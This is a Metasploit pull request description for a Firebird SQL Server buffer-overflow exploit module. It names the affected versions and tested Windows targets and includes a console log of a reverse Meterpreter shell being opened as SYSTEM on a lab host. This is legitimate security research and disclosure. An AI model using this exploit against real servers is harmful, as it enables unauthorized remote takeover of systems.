rapid7/metasploit-framework — pull request #1558 by zeroSteiner (2013-03-07 15:28:35+00:00)
Title: Firebird CNCT Group Number Buffer Overflow.

This module exploits an unauthenticated remote stack buffer overflow in Firebird SQL Server for Windows. I have informed the Firebird development team of the vulnerability. The latest stable version of 2.5.2.26539 is vulnerable while the absolute newest build #26623 has the issue patched but is only available as a development snapshot.

The module has been tested against the latest 32-bit versions of Firebird on Windows 7 SP1, Server 2008 SP1, Server 2003 SP2 and Windows XP SP3. The target settings are Windows version independent and rely solely on the version of Firebird which is installed.

After the payload exists the service crashes but when installed with default settings the Firebird Guardian service will restart it automatically within a minute.

The projects homepage can be found here: http://www.firebirdsql.org/
The latest snapshots in which this vulnerability is patched can be found here: http://web.firebirdsql.org/download/snapshot_builds/win/

```
msf3-git (S:0 J:0) exploit(fb_cnct_group) > check
[+] The target is vulnerable.
msf3-git (S:0 J:0) exploit(fb_cnct_group) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] 192.168.90.165:3050 - Sending Connection Request For C:\aHtSQxhzdfqtV.fdb
[*] Sending stage (752128 bytes) to 192.168.90.165
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.165:49159) at 2013-03-07 09:50:07 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.90.165 - Meterpreter session 1 closed. Reason: User exit
msf3-git (S:0 J:0) exploit(fb_cnct_group) >
```